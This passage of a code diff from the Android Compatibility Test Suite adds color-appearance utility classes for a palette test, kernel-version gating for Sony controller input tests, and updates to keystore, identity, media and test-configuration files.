+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.cts.utils;
+
+import android.graphics.Color;
+
+/**
+ * Copied from frameworks/base/core to support CAM library for SystemPalette CTS test
+ *
+ * A set of color-related utility methods, building upon those available in {@code Color}.
+ */
+public final class ColorUtils {
+
+    private static final double XYZ_WHITE_REFERENCE_X = 95.047;
+    private static final double XYZ_WHITE_REFERENCE_Y = 100;
+    private static final double XYZ_WHITE_REFERENCE_Z = 108.883;
+    private static final double XYZ_EPSILON = 0.008856;
+    private static final double XYZ_KAPPA = 903.3;
+
+    /**
+     * Converts a color from CIE XYZ to its RGB representation.
+     *
+     * <p>This method expects the XYZ representation to use the D65 illuminant and the CIE
+     * 2° Standard Observer (1931).</p>
+     *
+     * @param x X component value [0...95.047)
+     * @param y Y component value [0...100)
+     * @param z Z component value [0...108.883)
+     * @return int containing the RGB representation
+     */
+    public static int xyzToColor(double x, double y, double z) {
+        double r = (x * 3.2406 + y * -1.5372 + z * -0.4986) / 100;
+        double g = (x * -0.9689 + y * 1.8758 + z * 0.0415) / 100;
+        double b = (x * 0.0557 + y * -0.2040 + z * 1.0570) / 100;
+
+        r = r > 0.0031308 ? 1.055 * Math.pow(r, 1 / 2.4) - 0.055 : 12.92 * r;
+        g = g > 0.0031308 ? 1.055 * Math.pow(g, 1 / 2.4) - 0.055 : 12.92 * g;
+        b = b > 0.0031308 ? 1.055 * Math.pow(b, 1 / 2.4) - 0.055 : 12.92 * b;
+
+        return Color.rgb(
+                constrain((int) Math.round(r * 255), 0, 255),
+                constrain((int) Math.round(g * 255), 0, 255),
+                constrain((int) Math.round(b * 255), 0, 255));
+    }
+
+    private static float constrain(float amount, float low, float high) {
+        return amount < low ? low : (amount > high ? high : amount);
+    }
+}
diff --git a/tests/tests/graphics/src/android/graphics/cts/utils/Frame.java b/tests/tests/graphics/src/android/graphics/cts/utils/Frame.java
new file mode 100644
index 0000000..acfdf83
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/cts/utils/Frame.java
@@ -0,0 +1,191 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.cts.utils;
+
+/**
+ * Copied from frameworks/base/core to support SystemPalette CTS test
+ *
+ * The frame, or viewing conditions, where a color was seen. Used, along with a color, to create a
+ * color appearance model representing the color.
+ *
+ * <p>To convert a traditional color to a color appearance model, it requires knowing what
+ * conditions the color was observed in. Our perception of color depends on, for example, the tone
+ * of the light illuminating the color, how bright that light was, etc.
+ *
+ * <p>This class is modelled separately from the color appearance model itself because there are a
+ * number of calculations during the color => CAM conversion process that depend only on the viewing
+ * conditions. Caching those calculations in a Frame instance saves a significant amount of time.
+ */
+public final class Frame {
+    // Standard viewing conditions assumed in RGB specification - Stokes, Anderson, Chandrasekar,
+    // Motta - A Standard Default Color Space for the Internet: sRGB, 1996.
+    //
+    // White point = D65
+    // Luminance of adapting field: 200 / Pi / 5, units are cd/m^2.
+    //   sRGB ambient illuminance = 64 lux (per sRGB spec). However, the spec notes this is
+    //     artificially low and based on monitors in 1990s. Use 200, the sRGB spec says this is the
+    //     real average, and a survey of lux values on Wikipedia confirms this is a comfortable
+    //     default: somewhere between a very dark overcast day and office lighting.
+    //   Per CAM16 introduction paper (Li et al, 2017) Ew = pi * lw, and La = lw * Yb/Yw
+    //   Ew = ambient environment luminance, in lux.
+    //   Yb/Yw is taken to be midgray, ~20% relative luminance (XYZ Y 18.4, CIELAB L* 50).
+    //   Therefore La = (Ew / pi) * .184
+    //   La = 200 / pi * .184
+    // Image surround to 10 degrees = ~20% relative luminance = CIELAB L* 50
+    //
+    // Not from sRGB standard:
+    // Surround = average, 2.0.
+    // Discounting illuminant = false, doesn't occur for self-luminous displays
+    public static final Frame DEFAULT =
+            Frame.make(
+                    CamUtils.WHITE_POINT_D65,
+                    (float) (200.0f / Math.PI * CamUtils.yFromLstar(50.0f) / 100.f), 50.0f, 2.0f,
+                    false);
+
+    private final float mAw;
+    private final float mNbb;
+    private final float mNcb;
+    private final float mC;
+    private final float mNc;
+    private final float mN;
+    private final float[] mRgbD;
+    private final float mFl;
+    private final float mFlRoot;
+    private final float mZ;
+
+    float getAw() {
+        return mAw;
+    }
+
+    float getN() {
+        return mN;
+    }
+
+    float getNbb() {
+        return mNbb;
+    }
+
+    float getNcb() {
+        return mNcb;
+    }
+
+    float getC() {
+        return mC;
+    }
+
+    float getNc() {
+        return mNc;
+    }
+
+    float[] getRgbD() {
+        return mRgbD;
+    }
+
+    float getFl() {
+        return mFl;
+    }
+
+    float getFlRoot() {
+        return mFlRoot;
+    }
+
+    float getZ() {
+        return mZ;
+    }
+
+    private Frame(float n, float aw, float nbb, float ncb, float c, float nc, float[] rgbD,
+            float fl, float fLRoot, float z) {
+        mN = n;
+        mAw = aw;
+        mNbb = nbb;
+        mNcb = ncb;
+        mC = c;
+        mNc = nc;
+        mRgbD = rgbD;
+        mFl = fl;
+        mFlRoot = fLRoot;
+        mZ = z;
+    }
+
+    /** Create a custom frame. */
+    public static Frame make(float[] whitepoint, float adaptingLuminance,
+            float backgroundLstar, float surround, boolean discountingIlluminant) {
+        // Transform white point XYZ to 'cone'/'rgb' responses
+        float[][] matrix = CamUtils.XYZ_TO_CAM16RGB;
+        float[] xyz = whitepoint;
+        float rW = (xyz[0] * matrix[0][0]) + (xyz[1] * matrix[0][1]) + (xyz[2] * matrix[0][2]);
+        float gW = (xyz[0] * matrix[1][0]) + (xyz[1] * matrix[1][1]) + (xyz[2] * matrix[1][2]);
+        float bW = (xyz[0] * matrix[2][0]) + (xyz[1] * matrix[2][1]) + (xyz[2] * matrix[2][2]);
+
+        // Scale input surround, domain (0, 2), to CAM16 surround, domain (0.8, 1.0)
+        float f = 0.8f + (surround / 10.0f);
+        // "Exponential non-linearity"
+        float c = (f >= 0.9) ? MathUtils.lerp(0.59f, 0.69f, ((f - 0.9f) * 10.0f)) : MathUtils.lerp(
+                0.525f, 0.59f, ((f - 0.8f) * 10.0f));
+        // Calculate degree of adaptation to illuminant
+        float d = discountingIlluminant ? 1.0f : f * (1.0f - ((1.0f / 3.6f) * (float) Math.exp(
+                (-adaptingLuminance - 42.0f) / 92.0f)));
+        // Per Li et al, if D is greater than 1 or less than 0, set it to 1 or 0.
+        d = (d > 1.0) ? 1.0f : (d < 0.0) ? 0.0f : d;
+        // Chromatic induction factor
+        float nc = f;
+
+        // Cone responses to the whitepoint, adjusted for illuminant discounting.
+        //
+        // Why use 100.0 instead of the white point's relative luminance?
+        //
+        // Some papers and implementations, for both CAM02 and CAM16, use the Y
+        // value of the reference white instead of 100. Fairchild's Color Appearance
+        // Models (3rd edition) notes that this is in error: it was included in the
+        // CIE 2004a report on CIECAM02, but, later parts of the conversion process
+        // account for scaling of appearance relative to the white point relative
+        // luminance. This part should simply use 100 as luminance.
+        float[] rgbD = new float[]{d * (100.0f / rW) + 1.0f - d, d * (100.0f / gW) + 1.0f - d,
+                d * (100.0f / bW) + 1.0f - d, };
+        // Luminance-level adaptation factor
+        float k = 1.0f / (5.0f * adaptingLuminance + 1.0f);
+        float k4 = k * k * k * k;
+        float k4F = 1.0f - k4;
+        float fl = (k4 * adaptingLuminance) + (0.1f * k4F * k4F * (float) Math.cbrt(
+                5.0 * adaptingLuminance));
+
+        // Intermediate factor, ratio of background relative luminance to white relative luminance
+        float n = CamUtils.yFromLstar(backgroundLstar) / whitepoint[1];
+
+        // Base exponential nonlinearity
+        // note Schlomer 2018 has a typo and uses 1.58, the correct factor is 1.48
+        float z = 1.48f + (float) Math.sqrt(n);
+
+        // Luminance-level induction factors
+        float nbb = 0.725f / (float) Math.pow(n, 0.2);
+        float ncb = nbb;
+
+        // Discounted cone responses to the white point, adjusted for post-chromatic
+        // adaptation perceptual nonlinearities.
+        float[] rgbAFactors = new float[]{(float) Math.pow(fl * rgbD[0] * rW / 100.0, 0.42),
+                (float) Math.pow(fl * rgbD[1] * gW / 100.0, 0.42), (float) Math.pow(
+                fl * rgbD[2] * bW / 100.0, 0.42)};
+
+        float[] rgbA = new float[]{(400.0f * rgbAFactors[0]) / (rgbAFactors[0] + 27.13f),
+                (400.0f * rgbAFactors[1]) / (rgbAFactors[1] + 27.13f),
+                (400.0f * rgbAFactors[2]) / (rgbAFactors[2] + 27.13f), };
+
+        float aw = ((2.0f * rgbA[0]) + rgbA[1] + (0.05f * rgbA[2])) * nbb;
+
+        return new Frame(n, aw, nbb, ncb, c, nc, rgbD, fl, (float) Math.pow(fl, 0.25), z);
+    }
+}
diff --git a/tests/tests/graphics/src/android/graphics/cts/utils/MathUtils.java b/tests/tests/graphics/src/android/graphics/cts/utils/MathUtils.java
new file mode 100644
index 0000000..8c4d135
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/cts/utils/MathUtils.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.cts.utils;
+
+/**
+ * Copied from frameworks/base/core to support CAM library for SystemPalette CTS test
+ *
+ * A class that contains utility methods related to numbers.
+ */
+public final class MathUtils {
+    private MathUtils() {
+    }
+
+    public static float lerp(float start, float stop, float amount) {
+        return start + (stop - start) * amount;
+    }
+}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputHidTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputHidTestCase.java
index 8f030d5..d40d545 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputHidTestCase.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputHidTestCase.java
@@ -38,9 +38,14 @@
 import android.os.VibrationEffect;
 import android.os.Vibrator;
 import android.os.Vibrator.OnVibratorStateChangedListener;
+import android.os.VintfRuntimeInfo;
+import android.text.TextUtils;
 import android.util.Log;
+import android.util.Pair;
 import android.view.InputDevice;
 
+import androidx.annotation.CallSuper;
+
 import com.android.cts.input.HidBatteryTestData;
 import com.android.cts.input.HidDevice;
 import com.android.cts.input.HidLightTestData;
@@ -57,6 +62,8 @@
 import java.util.Arrays;
 import java.util.List;
 import java.util.Map;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
 
 public class InputHidTestCase extends InputTestCase {
     private static final String TAG = "InputHidTestCase";
@@ -79,6 +86,7 @@
         mRegisterResourceId = registerResourceId;
     }
 
+    @CallSuper
     @Override
     public void setUp() throws Exception {
         super.setUp();
@@ -100,6 +108,38 @@
         boolean check(InputDevice inputDevice);
     }
 
+    private static Pair<Integer, Integer> getVersionFromString(String version) {
+        // Only gets major and minor number of the version string.
+        final Pattern versionPattern = Pattern.compile("^(\\d+)(\\.(\\d+))?.*");
+        final Matcher m = versionPattern.matcher(version);
+        if (m.matches()) {
+            final int major = Integer.parseInt(m.group(1));
+            final int minor = TextUtils.isEmpty(m.group(3)) ? 0 : Integer.parseInt(m.group(3));
+
+            return new Pair<>(major, minor);
+
+        } else {
+            fail("Cannot parse kernel version: " + version);
+            return new Pair<>(0, 0);
+        }
+    }
+
+    private static int compareMajorMinorVersion(final String s1, final String s2) throws Exception {
+        final Pair<Integer, Integer> v1 = getVersionFromString(s1);
+        final Pair<Integer, Integer> v2 = getVersionFromString(s2);
+
+        if (v1.first == v2.first) {
+            return Integer.compare(v1.second, v2.second);
+        } else {
+            return Integer.compare(v1.first, v2.first);
+        }
+    }
+
+    protected static boolean isKernelVersionGreaterThan(String version) throws Exception {
+        final String actualVersion = VintfRuntimeInfo.getKernelVersion();
+        return compareMajorMinorVersion(actualVersion, version) > 0;
+    }
+
     /** Gets an input device with specific capability */
     private InputDevice getInputDevice(Capability capability) {
         final InputManager inputManager =
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualSenseBluetoothTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualSenseBluetoothTest.java
index a6206db..e42e2ae 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualSenseBluetoothTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualSenseBluetoothTest.java
@@ -16,6 +16,8 @@
 
 package android.hardware.input.cts.tests;
 
+import static org.junit.Assume.assumeTrue;
+
 import android.hardware.cts.R;
 
 import androidx.test.ext.junit.runners.AndroidJUnit4;
@@ -33,6 +35,13 @@
         super(R.raw.sony_dualsense_bluetooth_register);
     }
 
+    @Override
+    public void setUp() throws Exception {
+        // Do not run this test for kernel versions 4.19 and below
+        assumeTrue(isKernelVersionGreaterThan("4.19"));
+        super.setUp();
+    }
+
     @Test
     public void testAllKeys() {
         testInputEvents(R.raw.sony_dualsense_bluetooth_keyeventtests);
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualSenseUsbTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualSenseUsbTest.java
index 7f046ee..2c31b8f 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualSenseUsbTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualSenseUsbTest.java
@@ -16,6 +16,8 @@
 
 package android.hardware.input.cts.tests;
 
+import static org.junit.Assume.assumeTrue;
+
 import android.hardware.cts.R;
 
 import androidx.test.ext.junit.runners.AndroidJUnit4;
@@ -33,6 +35,13 @@
         super(R.raw.sony_dualsense_usb_register);
     }
 
+    @Override
+    public void setUp() throws Exception {
+        // Do not run this test for kernel versions 4.19 and below
+        assumeTrue(isKernelVersionGreaterThan("4.19"));
+        super.setUp();
+    }
+
     @Test
     public void testAllKeys() {
         testInputEvents(R.raw.sony_dualsense_usb_keyeventtests);
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4BluetoothTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4BluetoothTest.java
index f8be924..547a337 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4BluetoothTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4BluetoothTest.java
@@ -16,6 +16,8 @@
 
 package android.hardware.input.cts.tests;
 
+import static org.junit.Assume.assumeTrue;
+
 import android.hardware.cts.R;
 
 import androidx.test.ext.junit.runners.AndroidJUnit4;
@@ -45,6 +47,7 @@
 
     @Test
     public void testVibrator() throws Exception {
+        assumeTrue("Requires kernel > 4.19", isKernelVersionGreaterThan("4.19"));
         testInputVibratorEvents(R.raw.sony_dualshock4_bluetooth_vibratortests);
     }
 
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4ProBluetoothTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4ProBluetoothTest.java
index 8a95e9c..0a1f04a 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4ProBluetoothTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4ProBluetoothTest.java
@@ -16,6 +16,8 @@
 
 package android.hardware.input.cts.tests;
 
+import static org.junit.Assume.assumeTrue;
+
 import android.hardware.cts.R;
 
 import androidx.test.ext.junit.runners.AndroidJUnit4;
@@ -45,6 +47,7 @@
 
     @Test
     public void testVibrator() throws Exception {
+        assumeTrue("Requires kernel > 4.19", isKernelVersionGreaterThan("4.19"));
         testInputVibratorEvents(R.raw.sony_dualshock4_bluetooth_vibratortests);
     }
 
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4UsbTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4UsbTest.java
index 739ea36..08ece8e 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4UsbTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4UsbTest.java
@@ -16,6 +16,8 @@
 
 package android.hardware.input.cts.tests;
 
+import static org.junit.Assume.assumeTrue;
+
 import android.hardware.cts.R;
 
 import androidx.test.ext.junit.runners.AndroidJUnit4;
@@ -50,6 +52,7 @@
 
     @Test
     public void testVibrator() throws Exception {
+        assumeTrue("Requires kernel > 4.19", isKernelVersionGreaterThan("4.19"));
         testInputVibratorEvents(R.raw.sony_dualshock4_usb_vibratortests);
     }
 }
diff --git a/tests/tests/identity/src/android/security/identity/cts/UserAuthTest.java b/tests/tests/identity/src/android/security/identity/cts/UserAuthTest.java
index 857ced0..2c55042 100644
--- a/tests/tests/identity/src/android/security/identity/cts/UserAuthTest.java
+++ b/tests/tests/identity/src/android/security/identity/cts/UserAuthTest.java
@@ -121,10 +121,15 @@
             Context appContext = InstrumentationRegistry.getTargetContext();
             KeyguardManager keyguardManager = (KeyguardManager)appContext.
                                               getSystemService(Context.KEYGUARD_SERVICE);
-            for (int i = 0; i < 5 && keyguardManager.isDeviceLocked(); i++) {
-                Log.w(TAG, "Wait for keyguardManager unlock device ...");
+            int waitCount = 5;
+            do {
                 SystemClock.sleep(1000);
-            }
+                if (!keyguardManager.isDeviceLocked()) {
+                    break;
+                }
+                Log.w(TAG, "Device was still locked, sleeping and retrying...");
+                mLockCredential.enterAndConfirmLockCredential();
+            } while (waitCount-- >= 0);
         }
 
         @Override
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
index 1bf47e0..51ae065 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
@@ -1000,24 +1000,14 @@
             assertThat("Digests in software-enforced",
                     softwareEnforcedDigests, is(expectedDigests));
         } else {
-            switch (attestation.getKeymasterVersion()) {
-                case 1:
-                    // KM1 implementations may not support SHA512 in the TEE
-                    assertTrue(softwareEnforcedDigests.contains(KM_DIGEST_SHA_2_512)
-                            || teeEnforcedDigests.contains(KM_DIGEST_SHA_2_512));
+            if (attestation.getKeymasterVersion() == 1) {
+                // KM1 implementations may not support SHA512 in the TEE
+                assertTrue(softwareEnforcedDigests.contains(KM_DIGEST_SHA_2_512)
+                        || teeEnforcedDigests.contains(KM_DIGEST_SHA_2_512));
 
-                    assertThat(teeEnforcedDigests, hasItems(KM_DIGEST_NONE, KM_DIGEST_SHA_2_256));
-                    break;
-
-                case 2:
-                case 3:
-                case 4:
-                case 41:
-                    assertThat(teeEnforcedDigests, is(expectedDigests));
-                    break;
-
-                default:
-                    fail("Broken CTS test. Should be impossible to get here.");
+                assertThat(teeEnforcedDigests, hasItems(KM_DIGEST_NONE, KM_DIGEST_SHA_2_256));
+            } else {
+                assertThat(teeEnforcedDigests, is(expectedDigests));
             }
         }
     }
diff --git a/tests/tests/libcoreapievolution/Android.bp b/tests/tests/libcoreapievolution/Android.bp
index 1e41643..891ebc3 100644
--- a/tests/tests/libcoreapievolution/Android.bp
+++ b/tests/tests/libcoreapievolution/Android.bp
@@ -30,5 +30,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/tests/tests/libcoreapievolution/AndroidTest.xml b/tests/tests/libcoreapievolution/AndroidTest.xml
index bfa6cdf..08f47fd 100644
--- a/tests/tests/libcoreapievolution/AndroidTest.xml
+++ b/tests/tests/libcoreapievolution/AndroidTest.xml
@@ -33,4 +33,13 @@
     <object type="module_controller" class="com.android.tradefed.testtype.suite.module.TestFailureModuleController">
         <option name="screenshot-on-failure" value="false" />
     </object>
+
+    <!-- When this test is run in a Mainline context (e.g. with `mts-tradefed`), only enable it if
+         one of the Mainline modules below is present on the device used for testing. -->
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
+        <!-- ART Mainline Module (internal version). -->
+        <option name="mainline-module-package-name" value="com.google.android.art" />
+        <!-- ART Mainline Module (external (AOSP) version). -->
+        <option name="mainline-module-package-name" value="com.android.art" />
+    </object>
 </configuration>
diff --git a/tests/tests/libcorefileio/Android.bp b/tests/tests/libcorefileio/Android.bp
index 7d1e7f4..58c388c 100644
--- a/tests/tests/libcorefileio/Android.bp
+++ b/tests/tests/libcorefileio/Android.bp
@@ -30,5 +30,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/tests/tests/libcorefileio/AndroidTest.xml b/tests/tests/libcorefileio/AndroidTest.xml
index f563afe..c90b702 100644
--- a/tests/tests/libcorefileio/AndroidTest.xml
+++ b/tests/tests/libcorefileio/AndroidTest.xml
@@ -31,4 +31,13 @@
     <object type="module_controller" class="com.android.tradefed.testtype.suite.module.TestFailureModuleController">
         <option name="screenshot-on-failure" value="false" />
     </object>
+
+    <!-- When this test is run in a Mainline context (e.g. with `mts-tradefed`), only enable it if
+         one of the Mainline modules below is present on the device used for testing. -->
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
+        <!-- ART Mainline Module (internal version). -->
+        <option name="mainline-module-package-name" value="com.google.android.art" />
+        <!-- ART Mainline Module (external (AOSP) version). -->
+        <option name="mainline-module-package-name" value="com.android.art" />
+    </object>
 </configuration>
diff --git a/tests/tests/libcorelegacy22/Android.bp b/tests/tests/libcorelegacy22/Android.bp
index 351206e..44a997a 100644
--- a/tests/tests/libcorelegacy22/Android.bp
+++ b/tests/tests/libcorelegacy22/Android.bp
@@ -26,5 +26,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/tests/tests/libcorelegacy22/AndroidTest.xml b/tests/tests/libcorelegacy22/AndroidTest.xml
index 33e08c0..94c1134 100644
--- a/tests/tests/libcorelegacy22/AndroidTest.xml
+++ b/tests/tests/libcorelegacy22/AndroidTest.xml
@@ -33,4 +33,13 @@
     <object type="module_controller" class="com.android.tradefed.testtype.suite.module.TestFailureModuleController">
         <option name="screenshot-on-failure" value="false" />
     </object>
+
+    <!-- When this test is run in a Mainline context (e.g. with `mts-tradefed`), only enable it if
+         one of the Mainline modules below is present on the device used for testing. -->
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
+        <!-- ART Mainline Module (internal version). -->
+        <option name="mainline-module-package-name" value="com.google.android.art" />
+        <!-- ART Mainline Module (external (AOSP) version). -->
+        <option name="mainline-module-package-name" value="com.android.art" />
+    </object>
 </configuration>
diff --git a/tests/tests/libnativehelper/AndroidTest.xml b/tests/tests/libnativehelper/AndroidTest.xml
index 796ff08..0b34dcb 100644
--- a/tests/tests/libnativehelper/AndroidTest.xml
+++ b/tests/tests/libnativehelper/AndroidTest.xml
@@ -15,7 +15,7 @@
 -->
 <configuration description="Configuration for Libnativehelper Tests">
     <option name="test-suite-tag" value="cts" />
-    <option name="config-descriptor:metadata" key="component" value="art" />
+    <option name="config-descriptor:metadata" key="component" value="libnativehelper" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
diff --git a/tests/tests/media/src/android/media/cts/AdaptivePlaybackTest.java b/tests/tests/media/src/android/media/cts/AdaptivePlaybackTest.java
index 70cb272..09076ac 100644
--- a/tests/tests/media/src/android/media/cts/AdaptivePlaybackTest.java
+++ b/tests/tests/media/src/android/media/cts/AdaptivePlaybackTest.java
@@ -474,7 +474,10 @@
                             mDecoder.flush();
                             // First run will trigger output format change exactly once,
                             // and subsequent runs should not trigger format change.
-                            assertEquals(1, mDecoder.getOutputFormatChangeCount());
+                            // this part of test is new for Android12
+                            if (sIsAtLeastS) {
+                                assertEquals(1, mDecoder.getOutputFormatChangeCount());
+                            }
                         }
                     });
                 if (verify) {
diff --git a/tests/tests/media/src/android/media/cts/AudioRecordSharedAudioTest.java b/tests/tests/media/src/android/media/cts/AudioRecordSharedAudioTest.java
index ec46782..f5cad49 100644
--- a/tests/tests/media/src/android/media/cts/AudioRecordSharedAudioTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioRecordSharedAudioTest.java
@@ -166,12 +166,6 @@
                             -1 /* startFromMillis */);
                 });
 
-        assertThrows(IllegalArgumentException.class, () -> {
-                    record.shareAudioHistory(
-                            InstrumentationRegistry.getTargetContext().getPackageName(),
-                            10000 /* startFromMillis */);
-                });
-
         record.stop();
         record.release();
     }
diff --git a/tests/tests/media/src/android/media/cts/AudioRecordTest.java b/tests/tests/media/src/android/media/cts/AudioRecordTest.java
index ab6eac5..4b14a31 100644
--- a/tests/tests/media/src/android/media/cts/AudioRecordTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioRecordTest.java
@@ -41,6 +41,8 @@
 import android.media.MicrophoneInfo;
 import android.media.cts.AudioRecordingConfigurationTest.MyAudioRecordingCallback;
 import android.media.metrics.LogSessionId;
+import android.media.metrics.MediaMetricsManager;
+import android.media.metrics.RecordingSession;
 import android.os.Handler;
 import android.os.Looper;
 import android.os.Message;
@@ -1708,9 +1710,13 @@
                     .build();
             audioRecord.setLogSessionId(LogSessionId.LOG_SESSION_ID_NONE); // should not throw.
             assertEquals(LogSessionId.LOG_SESSION_ID_NONE, audioRecord.getLogSessionId());
-            final String ARBITRARY_MAGIC = "0123456789abcdef"; // 16 char Base64Url.
-            audioRecord.setLogSessionId(new LogSessionId(ARBITRARY_MAGIC));
-            assertEquals(new LogSessionId(ARBITRARY_MAGIC), audioRecord.getLogSessionId());
+
+            final MediaMetricsManager mediaMetricsManager =
+                    getContext().getSystemService(MediaMetricsManager.class);
+            final RecordingSession recordingSession =
+                    mediaMetricsManager.createRecordingSession();
+            audioRecord.setLogSessionId(recordingSession.getSessionId());
+            assertEquals(recordingSession.getSessionId(), audioRecord.getLogSessionId());
 
             // record some data to generate a log entry.
             short data[] = new short[audioRecord.getSampleRate() / 2];
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackTest.java b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
index 27ee20c..248ba82 100755
--- a/tests/tests/media/src/android/media/cts/AudioTrackTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
@@ -37,6 +37,8 @@
 import android.media.AudioTrack;
 import android.media.PlaybackParams;
 import android.media.metrics.LogSessionId;
+import android.media.metrics.MediaMetricsManager;
+import android.media.metrics.PlaybackSession;
 import android.os.PersistableBundle;
 import android.os.SystemClock;
 import android.platform.test.annotations.Presubmit;
@@ -2924,6 +2926,12 @@
             audioTrack.setLogSessionId(new LogSessionId(ARBITRARY_MAGIC));
             assertEquals(new LogSessionId(ARBITRARY_MAGIC), audioTrack.getLogSessionId());
 
+            final MediaMetricsManager mediaMetricsManager =
+                    getContext().getSystemService(MediaMetricsManager.class);
+            final PlaybackSession playbackSession = mediaMetricsManager.createPlaybackSession();
+            audioTrack.setLogSessionId(playbackSession.getSessionId());
+            assertEquals(playbackSession.getSessionId(), audioTrack.getLogSessionId());
+
             // write some data to generate a log entry.
             short data[] = new short[audioTrack.getSampleRate() / 2];
             audioTrack.play();
diff --git a/tests/tests/media/src/android/media/cts/CamcorderProfileTest.java b/tests/tests/media/src/android/media/cts/CamcorderProfileTest.java
index e712615..3eecb04 100644
--- a/tests/tests/media/src/android/media/cts/CamcorderProfileTest.java
+++ b/tests/tests/media/src/android/media/cts/CamcorderProfileTest.java
@@ -46,9 +46,13 @@
         CamcorderProfile.QUALITY_720P,
         CamcorderProfile.QUALITY_1080P,
         CamcorderProfile.QUALITY_QVGA,
-        CamcorderProfile.QUALITY_2K,
-        CamcorderProfile.QUALITY_QHD,
         CamcorderProfile.QUALITY_2160P,
+        CamcorderProfile.QUALITY_VGA,
+        CamcorderProfile.QUALITY_4KDCI,
+        CamcorderProfile.QUALITY_QHD,
+        CamcorderProfile.QUALITY_2K,
+        CamcorderProfile.QUALITY_8KUHD,
+
         CamcorderProfile.QUALITY_TIME_LAPSE_LOW,
         CamcorderProfile.QUALITY_TIME_LAPSE_HIGH,
         CamcorderProfile.QUALITY_TIME_LAPSE_QCIF,
@@ -57,18 +61,25 @@
         CamcorderProfile.QUALITY_TIME_LAPSE_720P,
         CamcorderProfile.QUALITY_TIME_LAPSE_1080P,
         CamcorderProfile.QUALITY_TIME_LAPSE_QVGA,
-        CamcorderProfile.QUALITY_TIME_LAPSE_2K,
-        CamcorderProfile.QUALITY_TIME_LAPSE_QHD,
         CamcorderProfile.QUALITY_TIME_LAPSE_2160P,
+        CamcorderProfile.QUALITY_TIME_LAPSE_VGA,
+        CamcorderProfile.QUALITY_TIME_LAPSE_4KDCI,
+        CamcorderProfile.QUALITY_TIME_LAPSE_QHD,
+        CamcorderProfile.QUALITY_TIME_LAPSE_2K,
+        CamcorderProfile.QUALITY_TIME_LAPSE_8KUHD,
+
         CamcorderProfile.QUALITY_HIGH_SPEED_LOW,
         CamcorderProfile.QUALITY_HIGH_SPEED_HIGH,
